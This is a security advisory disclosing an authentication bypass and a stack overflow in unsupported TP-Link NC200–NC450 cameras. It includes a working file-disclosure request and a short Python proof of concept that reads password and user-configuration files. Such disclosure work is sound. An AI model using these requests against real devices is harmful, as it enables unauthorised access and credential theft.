SSD Advisory – TP-Link NCXXX Authentication Bypass

Summary

A vulnerability exists in TP-Link NCXXX family of devices, the vulnerability allows accessing the device without credentials – this chained with well known and currently unpatched post-auth vulnerabilities allow for the complete compromise of the device.

Credit

An independent security researcher working with SSD Secure Disclosure.

Affected Versions

TP-Link NC200
TP-Link NC210
TP-Link NC220
TP-Link NC230
TP-Link NC250
TP-Link NC260
TP-Link NC450

Vendor Response

The device is currently out of support (some since 2015, others since 2017) and is unlikely to get any patches – we are releasing this information to alert users of these devices (still present on the Internet) that they should immediately disconnect these devices before they get compromised.

Technical Analysis

Logical Vulnerability
The vulnerability is used to bypass Authentication and it resides in the httpLoginRpm method within the ipcamera binary, specifically in the handler method for the root URL (“/”). The issue stems from the improper handling of user input obtained through the httpGetEnv(param_1,"DOCUMENT_ROOT") function call before authentication is performed.

During the generation of the path for “login.html”, the binary employs the following snprintf function call:

snprintf(full_path, 0x40, "%s%s", uVar1, "login.html");

In this line of code, full_path is a buffer with a maximum size of 64 bytes (0x40 in hexadecimal), and uVar1 is a variable that holds the value obtained from the httpGetEnv(param_1,"DOCUMENT_ROOT") call, which can be controlled by the user.

By manipulating the input given to the httpGetEnv function, an attacker can alter the uVar1 variable to point to a different file path, essentially sidestepping the concatenation with “login.html”. This allows them to specify a path to any file they wish to access, resulting in a file disclosure vulnerability.

When the path construction is successfully manipulated, the designated file will be opened and its contents relayed back to the attacker, potentially exposing sensitive information stored on the system.

To bypass authentication it is enough to use this vulnerability to read this hidden file on the filesystem /usr/local/config/ipcamera/.lighttpdpassword. Unauthenticated users should not be able to modify DOCUMENT_ROOT.

A simple PoC for this vulnerability would be doing a simple GET request:

http://192.168.1.17/?DOCUMENT_ROOT=////////////////////usr/local/config/ipcamera/.lighttpdpassword

Stack Overflow

This vulnerability targets the `/sddelfile.fcgi` endpoint and becomes exploitable after authentication, function name in the ipcamera binary is is `httpSDDelFile`, leveraging the previously mentioned vulnerability. An attacker can exploit this by sending a POST request with an excessively long `filepath` parameter. The function `swSdDelFile` improperly handles this parameter, leading to a stack overflow vulnerability. It concatenates the attacker-provided `filepath` data byte by byte onto the stack without adequately checking the length of the input.

Here is the vulnerable code snippet:

undefined4 swSdDelFile(char *filepath)
{
        ...
        attacker_path = filepath;
        ...
        i = 0;
        while (*attacker_path != '*' && *attacker_path != '\0')
        {
        strncat((char *)&stack_parameter, attacker_path, 1);
        i++;
        attacker_path++;
        }
        ...
}

This code lacks any checks for the size of `attacker_path`, allowing an overflow of `stack_parameter`.

Due to the absence of all security protections in the binary, this vulnerability can be exploited.

Attackers could use it either to cause a Denial of Service (DoS) by crashing the device or potentially execute arbitrary shellcode by manipulating the program’s execution flow to jump to a location on the stack where the shellcode is written.

Proof of Concept

#!/usr/bin/python3

import requests

host = "192.168.1.1"

filename = "/usr/local/config/ipcamera/user.conf"

url = "http://" + host + "/?DOCUMENT_ROOT=" + filename.rjust(0x40 - 1, "/")
headers = {"Cookie": "sess=ok"}
response = requests.get(url, headers=headers, timeout=1).text

print(f"{response=}")

?

Get in touch